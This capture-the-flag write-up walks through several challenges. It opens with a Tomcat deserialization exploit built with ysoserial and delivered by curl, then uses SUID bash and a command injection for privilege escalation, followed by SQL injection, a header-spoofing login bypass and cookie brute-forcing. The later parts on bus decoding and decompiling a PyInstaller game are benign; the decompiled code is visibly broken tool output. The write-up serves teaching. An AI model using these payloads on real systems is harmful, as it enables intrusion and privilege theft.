<TOOD_INSERT_ELF_NAME> said he thought these components might create a privilege escalation vulnerability.
Can you prove these components are vulnerable by retrieving the key that is not used by the Snowcat hosted Neighborhood Weather Monitoring Station?

Based on the source code in dashboard.jsp the application uses org.apache.commons.collections and later on calls multiple binaries with a hardcoded key.

dashboard.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%@ page import="org.apache.commons.collections.map.*" %>
// --- SNIP ---
try {
            String key = "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6";
            Process tempProc = Runtime.getRuntime().exec("/usr/local/weather/temperature " + key);
            Process humProc = Runtime.getRuntime().exec("/usr/local/weather/humidity " + key);
            Process presProc = Runtime.getRuntime().exec("/usr/local/weather/pressure " + key);
// --- SNIP ---

Since CVE-2025-24813 can be abused with a deserialization attack through the session cookie, I follow the notes and create my payload with ysoserial. It copies the bash binary from /bin to the /tmp directory and applies the SUID and GUID bit.

$ java -jar ysoserial.jar CommonsCollections6 "install --mode=6777 /bin/bash /tmp/bash" > payload.bin

Then I run the exploit against the server on localhost. This produces several errors but the new Bash binary appears in the /tmp directory with the desired access rights.

export HOST=127.0.0.1
export PORT=80
export SESSION_ID=whatever
 
curl -X PUT \
  -H "Host: ${HOST}:${PORT}" \
  -H "Content-Length: $(wc -c < payload.bin)" \
  -H "Content-Range: bytes 0-$(($(wc -c < payload.bin)-1))/$(wc -c < payload.bin)" \
  --data-binary @payload.bin \
  "http://${HOST}:${PORT}/${SESSION_ID}/session"
 
curl -X GET \
  -H "Host: ${HOST}:${PORT}" \
  -H "Cookie: JSESSIONID=.${SESSION_ID}" \
  "http://${HOST}:${PORT}/"

Then I just need to run it with the -p switch to preserve the privileges and I’m dropped into a new shell as snowcat.

$ /tmp/bash -p
bash-5.1$ id
uid=2001(user) gid=2000(user) euid=5000(snowcat) egid=5000(snowcat) groups=5000(snowcat),2000(user)

From the web application I already know that it calls multiple binaries in /usr/local/weather with the key 4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6. Doing so just prints a floating point number to the stdout. After transferring the binary temperature by base64 encoding it on the target and then just copying the string to my own machine, I can upload it dogbolt to decompile it with various engines.

Upon executing the binary, it checks if the supplied key is contained in /usr/local/weather/keys/authorized_keys and then reads the sensor data. At the end it logs the usage with a call to /usr/local/weather/logUsage and the arguments humidity and the key that the calling user supplies. This command is dynamically generated with snprintf and then executed with system.

void log_usage(undefined8 param_1)
 
{
  long in_FS_OFFSET;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  snprintf(local_118,0x100,"%s \'%s\' \'%s\'","/usr/local/weather/logUsage","humidity",param_1);
  system(local_118);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    // WARNING: Subroutine does not return
    __stack_chk_fail();
  }
  return;
}

Trying to add a single quote to the key results in an error message regarding an unterminated quoted string, leading me to believe there’s a command injection possible. With the same payload as before, I place a new Bash binary with SUID and GUID bits added to the /tmp directory.

/usr/local/weather/temperature "4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6';install --mode=6777 /bin/bash /tmp/weather'"
 
/tmp/weather -p

This grants me a shell as weather and I can access the keys in /usr/local/weather/keys/authorized_keys.

cat /usr/local/weather/keys/authorized_keys 
4b2f3c2d-1f88-4a09-8bd4-d3e5e52e19a6
8ade723d-9968-45c9-9c33-7606c49c2201

It's also possible to get a root shell this way by first modifying the config in /usr/local/weather/ with the command injection and then install the Bash binary.

8ade723d-9968-45c9-9c33-7606c49c2201

Schrödinger’s Scope

Kevin in the Retro Store ponders pentest paradoxes—can you solve Schrödinger’s Scope?

Rules of engagement for the pentest

Info

Before looking at the application, I instruct my browser to use BurpSuite as proxy and restrict the scope there to /register and drop all other requests.

On the /register page there’s a link to the sitemap showing the available endpoints, but I can only access a subset of those.

$ curl 'https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap?id=605cf1a0-3033-4f7e-9e29-1d9702497a86' \
       -H 'Cookie: Schrodinger=c7356e3c-746b-4935-957f-bb1e9af5e026; registration=eb72a05369dcb451' \
       | grep -Po "http://[^<]+"
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/console
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/console/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/logs
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/admin/logs/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/login
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/auth/register/login/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/login
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/login/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/reset
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/reset/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/sitemap/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/status_report
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/status_report/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/student_lookup
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/search/student_lookup/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_notes
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_notes/
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_todos
http://flask-schrodingers-scope-firestore.holidayhackchallenge.com/wip/register/dev/dev_todos/

The dev_notes and dev_todos sound interesting but the /wip endpoint is out-of-scope, but maybe the are also present on /register. Even though the notes require authentication, the todos are accessible and are the first finding.

The developers To Do List

Apparently the developer already completed two tasks on their todo list. A HTTP header was was introduced to secure the login and the password for user teststudent was set to 2025h0L1d4y5. I already know the notes are still there, but there might to also be a XSS vulnerability somewhere.

When I try to login with the credentials an error message regarding an invalid forwarding IP pops up. This might be related to the HTTP header and I try to set X-Forwarded-For. Since I do not know the real IP of the reverse proxy, I try 127.0.0.1 first and this lets me login with the credentials.

Login prompt shows error message regarding invalid forwarding IP

At first glance the new page /register/courses does not reveal anything useful.

Dashboard after login

But the HTML source shows the /register/courses/search endpoint being commented out. After adding the contents back to the page, it registers as new finding and a link to the course search becomes available.

<script src="/register/js/course_common.js"></script>
        
        <header>
            <p class="welcome" role="banner">🎄 Neighborhood College Courses</p>
        </header>
        <section class="courses-content">
            <div class="courses-container" style="max-width: 500px;">
                <h2 class="semester-heading">❄️ Spring Semester 2026 ❄️</h2>
                <!-- Should provide course listing here eventually instead of the extra step through search flow. -->
                <!-- <ul id="courseSearch" class="courses-list">
                    <li><a href="/register/courses/search?id=605cf1a0-3033-4f7e-9e29-1d9702497a86">Course Search</a></li>
                </ul> -->
            </div>
        </section>
        <!-- Common navigation and instructions section -->
<p class="violation"><a href="/">🏠 Return Home</a> | <a href="/register/reset">🔁 Reset Session</a> | <a href="/register/status_report">📋 View Status Report</a> | <a href="#" id="instBtn" aria-expanded="false" aria-controls="rules">📖 Instructions</a></p>
<div id="rules" class="rules" aria-hidden="true">    <img id="instructions" src="/register/images/instructions.png" alt="Instructions for the Registration System" style="max-height:100%;">
    <button id="closeInstructions" class="close-instructions" aria-label="Close Instructions">Close</button>
</div>
        <div class="gnome-character-container">
            <img src="/register/images/gnome-hacker.png" alt="Gnome Hacker" class="gnome-image">
            <div class="speech-bubble">
                <span class="initial-text">Guess the site really is still under construction, heh-he!</span>
                <span class="hover-text">I bet someone has a <i>comment</i> or two about that!</span>
            </div>
        </div>
    </main>
    <script src="/register/js/registerCourses.js"></script>
</body>
</html>

Upon browsing to /register/courses/search I find a form to search for courses by their number. Using something like 1 returns a few courses.

Course search by the course number

It’s likely the courses are kept in a database, so I test for SQL injection with 1' OR 1 = 1 -- -. This works and returns all courses including GNOME 827 - Mischief Management.

Dumping all courses with SQL injection

Upon clicking on the Mischief Management course, I’m redirected to /register/courses/gnome_mischief and get the option to report is as a vulnerability. Doing so lists it as a new finding.

Reporting course as a finding

Now circling back to the developer notes in /register/dev/dev_notes/, as an authenticated user I can access them. They only contain the information about a new course called holiday_behavior that is still work-in-progress.

Trying to replace the name of a known course in the URL with holiday_behavior results in a 404 error, but adding wip as seen in the sitemap does work and the error changes to 403 when accessing /register/courses/wip/holiday_behavior. Apparently the session registration value is invalid.

Error while trying to access the work-in-progress course holiday_behavior

Every response sets a new registration value and they only seem to differ in the last two characters, so I try to bruteforce them with ffuf.

BurpSuite showing the registration cookie value

First I generate a wordlist that includes all possible values from 00 to ff with Python and then use it as input for fuff .

$ python3 -c "print('\n'.join([a+b for a in 'abcdef0123456789' for b in 'abcdef0123456789']))" > wl.txt
 
$ ffuf -u "https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/courses/wip/holiday_behavior?id=605cf1a0-3033-4f7e-9e29-1d9702497a86" \
       -H 'Cookie: Schrodinger=53ad2cf0-9cd7-49b4-9171-f4c485d48655; registration=eb72a05369dcb4FUZZ' \
       -w wl.txt \
       -fc 403
 
        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : https://flask-schrodingers-scope-firestore.holidayhackchallenge.com/register/courses/wip/holiday_behavior?id=605cf1a0-3033-4f7e-9e29-1d9702497a86
 :: Wordlist         : FUZZ: wl.txt
 :: Header           : Cookie: Schrodinger=53ad2cf0-9cd7-49b4-9171-f4c485d48655; registration=eb72a05369dcb4FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 403
________________________________________________
 
4c                      [Status: 200, Size: 24136, Words: 8372, Lines: 928, Duration: 3683ms]

After finding the correct value 4c and getting a 200 status code all subsequent tries return 302 to the competition page. Pressing Finalize Test redirects me to a summary page.

Successful security assessment

Find and Shutdown Frosty’s Snowglobe Machine

You’ve heard murmurings around the city about a wise, elderly gnome having a change of heart. He must have information about where Frosty’s Snowglobe Machine is. You should find and talk to the gnome so you can get some help with how to make your way through the Data Center’s labrynthian halls.

Once you find the Snowglobe Machine, figure out how to shut it down and melt Frosty’s cold, nefarious plans.

Snow Crystal in the inventory

Info

Using the CTF style gaming mode, there was no challenge.

On the Wire

Help Evan next to city hall hack this gnome and retrieve the temperature value reported by the I²C device at address 0x3C. The temperature data is XOR-encrypted, so you’ll need to work through each communication stage to uncover the necessary keys. Start with the unencrypted data being transmitted over the 1-wire protocol.

Robot showing the data from 1-Wire

The challenge consists out of three stages, that display data from web sockets. Stages build upon each other, starting with 1-Wire with a single data source and SPI and I2C with two data sources each. I solved all three exclusively with ChatGPT.

To dump the data from the stages, I used the following script to connect to each of the web socket endpoints and dump their messages into files. Then I stripped the very first message of each to end up with the raw data.

web.py
import asyncio
import json
import websockets
 
async def capture_ws(url, outfile, duration=10):
    end = asyncio.get_event_loop().time() + duration
    with open(outfile, "w") as f:
        async with websockets.connect(url) as ws:
            while asyncio.get_event_loop().time() < end:
                msg = await ws.recv()
                f.write(msg.strip() + "\n")
 
if __name__ == "__main__":
    # URLs:
    # wss://signals.holidayhackchallenge.com/wire/dq
 
    # wss://signals.holidayhackchallenge.com/wire/mosi
    # wss://signals.holidayhackchallenge.com/wire/sck
 
    # wss://signals.holidayhackchallenge.com/wire/sda
    # wss://signals.holidayhackchallenge.com/wire/scl
    asyncio.run(
        capture_ws(
            url="wss://signals.holidayhackchallenge.com/wire/dq",
            outfile="capture_dq.jsonl",
            duration=3
        )
    )

After decoding the first stage, the message returns the XOR key icy for the second stage.

stage1.py
import json
import string
import itertools
from collections import defaultdict
 
PRINTABLE = set(bytes(string.printable, "ascii"))
 
def load_frames(path):
    frames = [json.loads(l) for l in open(path)]
    by_line = defaultdict(list)
    for f in frames:
        by_line[f["line"]].append((f["t"], f["v"]))
    for k in by_line:
        by_line[k].sort()
    return by_line
 
def edges(sig):
    """Return list of (start_time, level) for each contiguous pulse."""
    if not sig:
        return []
    out = []
    last_time, last_val = sig[0]
    for t, v in sig[1:]:
        if v != last_val:
            out.append((last_time, last_val, t))  # start, level, end_time
            last_time, last_val = t, v
    out.append((last_time, last_val, sig[-1][0]))  # last pulse
    return out
 
def decode_1wire(dq):
    bits = []
    e = edges(dq)
    for start, level, end in e:
        if level == 0:
            width = end - start
            if width > 200:        # reset
                continue
            if 100 < width <= 200: # presence
                continue
            bits.append(1 if width < 30 else 0)  # <30 → 1, else 0
 
    out, cur, n = [], 0, 0
    for b in bits:
        cur |= b << n
        n += 1
        if n == 8:
            out.append(cur)
            cur, n = 0, 0
    return bytes(out)
 
frames = load_frames('capture_dq.jsonl')
data = decode_1wire(frames["dq"])
 
print(data)

read and decrypt the SPI bus data using the XOR key: icy

Once again extracting the message from the data and then XORing it with the key from stage 1 returns the XOR key bananza and the hint to look for address 0x3C.

stage2.py
from collections import defaultdict
import json
 
def load_frames(path):
    frames = [json.loads(l) for l in open(path)]
    by_line = defaultdict(list)
    for f in frames:
        by_line[f["line"]].append((f["t"], f["v"]))
    for k in by_line:
        by_line[k].sort()
    return by_line
 
def edges(sig):
    """Return rising edges timestamps."""
    out = []
    for i in range(1, len(sig)):
        if sig[i-1][1] == 0 and sig[i][1] == 1:  # rising edge
            out.append(sig[i][0])
    return out
 
def sample_mosi(mosi, sck_edges):
    """Return list of bits sampled at clock edges."""
    bits = []
    idx = 0
    for t_edge in sck_edges:
        # find last MOSI value before edge
        while idx + 1 < len(mosi) and mosi[idx+1][0] <= t_edge:
            idx += 1
        bits.append(mosi[idx][1])
    return bits
 
def bits_to_bytes(bits):
    out, cur = [], 0
    for i, b in enumerate(bits):
        cur = (cur << 1) | b  # MSB-first
        if (i + 1) % 8 == 0:
            out.append(cur)
            cur = 0
    return bytes(out)
 
frames = load_frames("capture_mosi.jsonl")
mosi = frames["mosi"]
frames = load_frames("capture_sck.jsonl")
sck = frames["sck"]
 
sck_edges = edges(sck)
bits = sample_mosi(mosi, sck_edges)
data = bits_to_bytes(bits)
 
def xor(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
 
print(xor(data, b'icy'))
 
print("hex:", data.hex())

read and decrypt the I2C bus data using the XOR key: bananza. the temperature sensor address is 0x3C

The script for the third stage parses the data and groups it into transactions. Looking up 0x3C, I can xor the message to retrieve the temperature value 32.84.

stage3.py
import json
 
def load_frames(path):
    frames = [json.loads(l) for l in open(path)]
    frames.sort(key=lambda f: f["t"])
    return frames
 
def detect_edges(line, rising=True):
    edges = []
    for i in range(1, len(line)):
        if rising and line[i-1]["v"] == 0 and line[i]["v"] == 1:
            edges.append(line[i]["t"])
        elif not rising and line[i-1]["v"] == 1 and line[i]["v"] == 0:
            edges.append(line[i]["t"])
    return edges
 
def sample_sda_at_edges(sda, edges):
    bits = []
    idx = 0
    for t in edges:
        while idx+1 < len(sda) and sda[idx+1]["t"] <= t:
            idx += 1
        bits.append(sda[idx]["v"])
    return bits
 
def parse_i2c_transactions(sda, scl, target_addr):
    transactions = []
 
    # Detect all START and STOP
    starts, stops = [], []
    for i in range(1, len(sda)):
        if sda[i-1]["v"] == 1 and sda[i]["v"] == 0:
            # START if SCL high
            scl_val = next(f["v"] for f in reversed(scl) if f["t"] <= sda[i]["t"])
            if scl_val == 1:
                starts.append(i)
        elif sda[i-1]["v"] == 0 and sda[i]["v"] == 1:
            # STOP if SCL high
            scl_val = next(f["v"] for f in reversed(scl) if f["t"] <= sda[i]["t"])
            if scl_val == 1:
                stops.append(i)
 
    for start_idx in starts:
        # Get frames after START up to next STOP
        stop_idx = next((s for s in stops if s > start_idx), len(sda))
        sda_tx = sda[start_idx:stop_idx]
        scl_tx = [f for f in scl if sda_tx[0]["t"] <= f["t"] <= sda_tx[-1]["t"]]
 
        edges = detect_edges(scl_tx, rising=True)
        bits = sample_sda_at_edges(sda_tx, edges)
 
        # Split bits into bytes (MSB-first), skipping ACK
        i = 0
        if len(bits) < 8:
            continue
        first_byte = 0
        for b in bits[i:i+8]:
            first_byte = (first_byte << 1) | b
        addr = first_byte >> 1
        rw = first_byte & 1
        i += 9  # skip ACK
 
        if addr != target_addr:
            continue  # skip non-target
 
        # collect remaining bytes
        data_bytes = []
        while i+8 <= len(bits):
            bval = 0
            for b in bits[i:i+8]:
                bval = (bval << 1) | b
            data_bytes.append(bval)
            i += 9  # skip ACK
        transactions.append(data_bytes)
    return transactions
 
def xor_decrypt(data_bytes, key):
    k = key.encode()
    return bytes(b ^ k[i % len(k)] for i, b in enumerate(data_bytes))
 
# Load captures
sda = load_frames("capture_sda.jsonl")
scl = load_frames("capture_scl.jsonl")
 
transactions = parse_i2c_transactions(sda, scl, target_addr=0x3C)
 
for t in transactions:
    decrypted = xor_decrypt(t, "bananza")
    print("Hex:", bytes(t).hex())
    print("ASCII:", decrypted.decode(errors="ignore"))

32.84

Free Ski

Go to the retro store and help Goose Olivia ski down the mountain and collect all five treasure chests to reveal the hidden flag in this classic SkiFree-inspired challenge.

Free Ski EXE in the inventory

First I use pyinstxtractor to extract the Python bytecode from the compiled EXE. This shows that Python version 3.13 was used. Unfortunately pycdc seems to have some problems with this version, so I compile the version in this branch to look at the pyc files.

$ git clone https://github.com/CarrBen/pycdc -b py313_SET_FUNCTION_ATTRIBUTE pycdc
 
$ cmake .
 
$ make

Now I get access to two binaries, pycdas to disassemble the bytecode and pycdc to decompile it back to readable Python code. Using the latter one is preferred because it makes analyzing a lot easier.

$ python3 pyinstxtractor.py FreeSki.exe
[+] Processing FreeSki.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.13
[+] Length of package: 16806404 bytes
[+] Found 98 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: FreeSki.pyc
[+] Found 471 files in PYZ archive
[!] Error: Failed to decompress PYZ.pyz_extracted/jaraco.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_distutils/compilers/C.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor.pyc, probably encrypted. Extracting as is.
[!] Error: Failed to decompress PYZ.pyz_extracted/setuptools/_vendor/jaraco.pyc, probably encrypted. Extracting as is.
[+] Successfully extracted pyinstaller archive: FreeSki.exe
 
You can now use a python decompiler on the pyc files within the extracted directory
 
$ ls -1 FreeSki.exe_extracted/*.pyc
FreeSki.exe_extracted/FreeSki.pyc
FreeSki.exe_extracted/pyiboot01_bootstrap.pyc
FreeSki.exe_extracted/pyimod01_archive.pyc
FreeSki.exe_extracted/pyimod02_importers.pyc
FreeSki.exe_extracted/pyimod03_ctypes.pyc
FreeSki.exe_extracted/pyimod04_pywin32.pyc
FreeSki.exe_extracted/pyi_rth_inspect.pyc
FreeSki.exe_extracted/pyi_rth_multiprocessing.pyc
FreeSki.exe_extracted/pyi_rth_pkgres.pyc
FreeSki.exe_extracted/pyi_rth_pkgutil.pyc
FreeSki.exe_extracted/pyi_rth_setuptools.pyc
FreeSki.exe_extracted/struct.pyc
 
$ pycdc FreeSki.exe_extracted/FreeSki.pyc > FreeSki.py

Even with the fixed version, there are still errors and code is missing, but it’s possible to gain some insights from the generated code. In order to win, I have to collect 5 treasures. In total there are 7 mountains, each with an encoded flag and a method called SetFlag that takes the mountain and the presumably collected treasures to reconstruct the flag.

FreeSki.py
# Source Generated with Decompyle++
# File: FreeSki.pyc (Python 3.13)
 
import pygame
import enum
import random
import binascii
pygame.init()
pygame.font.init()
screen_width = 800
screen_height = 600
framerate_fps = 60
object_horizonal_hitbox = 1.5
object_vertical_hitbox = 0.5
max_speed = 0.4
accelerate_increment = 0.02
decelerate_increment = 0.05
scale_factor = 0.1
pixels_per_meter = 30
skier_vertical_pixel_location = 100
mountain_width = 1000
obstacle_draw_distance = 23
skier_start = 5
grace_period = 10
screen = pygame.display.set_mode((screen_width, screen_height))
clock = pygame.time.Clock()
dt = 0
pygame.key.set_repeat(500, 100)
pygame.display.set_caption('FreeSki v0.0')
skierimage = pygame.transform.scale_by(pygame.image.load('img/skier.png'), scale_factor)
skier_leftimage = pygame.transform.scale_by(pygame.image.load('img/skier_left.png'), scale_factor)
skier_rightimage = pygame.transform.scale_by(pygame.image.load('img/skier_right.png'), scale_factor)
skier_crashimage = pygame.transform.scale_by(pygame.image.load('img/skier_crash.png'), scale_factor)
skier_pizzaimage = pygame.transform.scale_by(pygame.image.load('img/skier_pizza.png'), scale_factor)
treeimage = pygame.transform.scale_by(pygame.image.load('img/tree.png'), scale_factor)
yetiimage = pygame.transform.scale_by(pygame.image.load('img/yeti.png'), scale_factor)
treasureimage = pygame.transform.scale_by(pygame.image.load('img/treasure.png'), scale_factor)
boulderimage = pygame.transform.scale_by(pygame.image.load('img/boulder.png'), scale_factor)
victoryimage = pygame.transform.scale_by(pygame.image.load('img/victory.png'), 0.7)
gamefont = pygame.font.Font('fonts/VT323-Regular.ttf', 24)
text_surface1 = gamefont.render('Use arrow keys to ski and find the 5 treasures!', False, pygame.Color('blue'))
text_surface2 = gamefont.render("          find all the lost bears. don't drill into a rock. Win game.", False, pygame.Color('yellow'))
flagfont = pygame.font.Font('fonts/VT323-Regular.ttf', 32)
flag_text_surface = flagfont.render('replace me', False, pygame.Color('saddle brown'))
flag_message_text_surface1 = flagfont.render('You win! Drill Baby is reunited with', False, pygame.Color('yellow'))
flag_message_text_surface2 = flagfont.render('all its bears. Welcome to Flare-On 12.', False, pygame.Color('yellow'))
 
class SkierStates(enum.Enum):
    CRUISING = enum.auto()
    ACCELERATING = enum.auto()
    DECELERATING = enum.auto()
    TURNING_LEFT = enum.auto()
    TURNING_RIGHT = enum.auto()
    CRASHED = enum.auto()
 
SkierStateImages = {
    SkierStates.CRASHED: skier_crashimage,
    SkierStates.TURNING_RIGHT: skier_rightimage,
    SkierStates.TURNING_LEFT: skier_leftimage,
    SkierStates.DECELERATING: skier_pizzaimage,
    SkierStates.ACCELERATING: skierimage,
    SkierStates.CRUISING: skierimage }
 
class Skier:
 
    def __init__(self, x, y):
        '''X and Y denote the pixel coordinates of the bottom center of the skier image'''
        self.state = SkierStates.CRUISING
        self.elevation = 0
        self.horizonal_location = 0
        self.speed = 0
        self.x = x
        self.y = y
        imagerect = skierimage.get_rect()
        self.rect = pygame.Rect(self.x - imagerect.left / 2, self.y - imagerect.height, 0, 0)
 
 
    def Draw(self, surface):
        surface.blit(SkierStateImages[self.state], self.rect)
 
 
    def TurnLeft(self):
        self.StateChange(SkierStates.TURNING_LEFT)
 
 
    def TurnRight(self):
        self.StateChange(SkierStates.TURNING_RIGHT)
 
 
    def SlowDown(self):
Something TERRIBLE happened!
        if self.speed < 0:
            0 = self, self.speed -= decelerate_increment, .speed
        self.StateChange(SkierStates.DECELERATING)
 
 
    def SpeedUp(self):
Something TERRIBLE happened!
        if self.speed > max_speed:
            max_speed = self, self.speed += accelerate_increment, .speed
        self.StateChange(SkierStates.ACCELERATING)
 
 
    def Cruise(self):
        self.StateChange(SkierStates.CRUISING)
 
 
    def StateChange(self, newstate):
        if self.state != SkierStates.CRASHED:
            self.state = newstate
        return None
 
 
    def UpdateLocation(self):
Something TERRIBLE happened!
        '''update elevation and horizonal location based on one frame of the current speed and turning status
speed will be split between down and to the turning side with simplified math to avoid calculating
square roots'''
        if self.state == SkierStates.TURNING_LEFT:
            pass
        elif self.state == SkierStates.TURNING_RIGHT:
            pass
 
        if self.elevation < 0:
            0 = self, self.elevation -= self.speed, .elevation
        return None
 
 
    def isMoving(self):
        if self.speed != 0:
            pass
        return True
        return False
 
 
    def Crash(self):
        self.StateChange(SkierStates.CRASHED)
        self.speed = 0
 
 
    def Reset(self):
        self.state = SkierStates.CRUISING
        self.speed = 0
        self.elevation = 0
        self.horizonal_location = 0
 
 
    def isReadyForReset(self):
        if self.state == SkierStates.CRASHED or self.elevation == 0:
            pass
        return True
        return False
 
    __static_attributes__ = ('elevation', 'horizonal_location', 'rect', 'speed', 'state', 'x', 'y')
 
 
class Obstacles(enum.Enum):
    BOULDER = enum.auto()
    TREE = enum.auto()
    YETI = enum.auto()
    TREASURE = enum.auto()
 
ObstacleImages = {
    Obstacles.TREASURE: treasureimage,
    Obstacles.YETI: yetiimage,
    Obstacles.TREE: treeimage,
    Obstacles.BOULDER: boulderimage }
ObstacleProbabilities = {
    Obstacles.YETI: 0.005,
    Obstacles.TREE: 0.01,
    Obstacles.BOULDER: 0.005 }
fakeObstacleProbabilities = {
    Obstacles.YETI: 0.1,
    Obstacles.TREE: 0.1,
    Obstacles.BOULDER: 0.1 }
 
def CalculateObstacleProbabilityRanges(probabilities):
    remaining = 1
    last_end = 0
    range_dict = { }
    for key in probabilities.keys():
        new_last_end = last_end + probabilities[key]
        range_dict[key] = (last_end, new_last_end)
        last_end = new_last_end
    return range_dict
 
ObstacleProbabilitiesRanges = CalculateObstacleProbabilityRanges(ObstacleProbabilities)
 
class Mountain:
 
    def __init__(self, name, height, treeline, yetiline, encoded_flag):
        self.name = name
        self.height = height
        self.treeline = treeline
        self.yetiline = yetiline
        self.encoded_flag = encoded_flag
        self.treasures = self.GetTreasureLocations()
 
 
    def GetObstacles(self, elevation):
Wrong block type 0 for END_FOR
        obstacles = [
            None] * mountain_width
        if elevation > self.height - grace_period:
            pass
        return obstacles
        random.seed(binascii.crc32(self.name.encode('utf-8')) + elevation)
        for i in range(0, mountain_width):
            r = random.random()
            obstacle = None
            for rangekey in ObstacleProbabilitiesRanges:
                if rangekey == Obstacles.TREE and elevation > self.treeline:
                    continue
                if rangekey == Obstacles.YETI and elevation > self.yetiline:
                    continue
                probrange = ObstacleProbabilitiesRanges[rangekey]
                if not r >= probrange[0]:
                    continue
                if not r <= probrange[1]:
                    continue
                obstacle = rangekey
                ObstacleProbabilitiesRanges
        obstacles[i] = obstacle
        continue
        treasure_row = None
        for key in self.treasures.keys():
            if not elevation + 5 >= key:
                continue
            if not key >= elevation - 5:
                continue
            treasure_row = key
            treasure_h = self.treasures[treasure_row]
            for i in range(-5, 6):
                obstacles[(treasure_h + i) % mountain_width] = None
            self.treasures.keys()
            if treasure_row == int(elevation):
                obstacles[treasure_h % mountain_width] = Obstacles.TREASURE
            return obstacles
        return obstacles
 
 
    def GetTreasureLocations(self):
        locations = { }
        random.seed(binascii.crc32(self.name.encode('utf-8')))
        prev_height = self.height
        prev_horiz = 0
        for i in range(0, 5):
            e_delta = random.randint(200, 800)
            h_delta = random.randint(int(0 - e_delta / 4), int(e_delta / 4))
            locations[prev_height - e_delta] = prev_horiz + h_delta
            prev_height = prev_height - e_delta
            prev_horiz = prev_horiz + h_delta
        return locations
 
    __static_attributes__ = ('encoded_flag', 'height', 'name', 'treasures', 'treeline', 'yetiline')
 
Mountains = [
    Mountain('Mount Snow', 3586, 3400, 2400, b'\x90\x00\x1d\xbc\x17b\xed6S"\xb0<Y\xd6\xce\x169\xae\xe9|\xe2Gs\xb7\xfdy\xcf5\x98'),
    Mountain('Aspen', 11211, 11000, 10000, b'U\xd7%x\xbfvj!\xfe\x9d\xb9\xc2\xd1k\x02y\x17\x9dK\x98\xf1\x92\x0f!\xf1\\\xa0\x1b\x0f'),
    Mountain('Whistler', 7156, 6000, 6500, b'\x1cN\x13\x1a\x97\xd4\xb2!\xf9\xf6\xd4#\xee\xebh\xecs.\x08M!hr9?\xde\x0c\x86\x02'),
    Mountain('Mount Baker', 10781, 9000, 6000, b'\xac\xf9#\xf4T\xf1%h\xbe3FI+h\r\x01V\xee\xc2C\x13\xf3\x97ef\xac\xe3z\x96'),
    Mountain('Mount Norquay', 6998, 6300, 3000, b'\x0c\x1c\xad!\xc6,\xec0\x0b+"\x9f@.\xc8\x13\xadb\x86\xea{\xfeS\xe0S\x85\x90\x03q'),
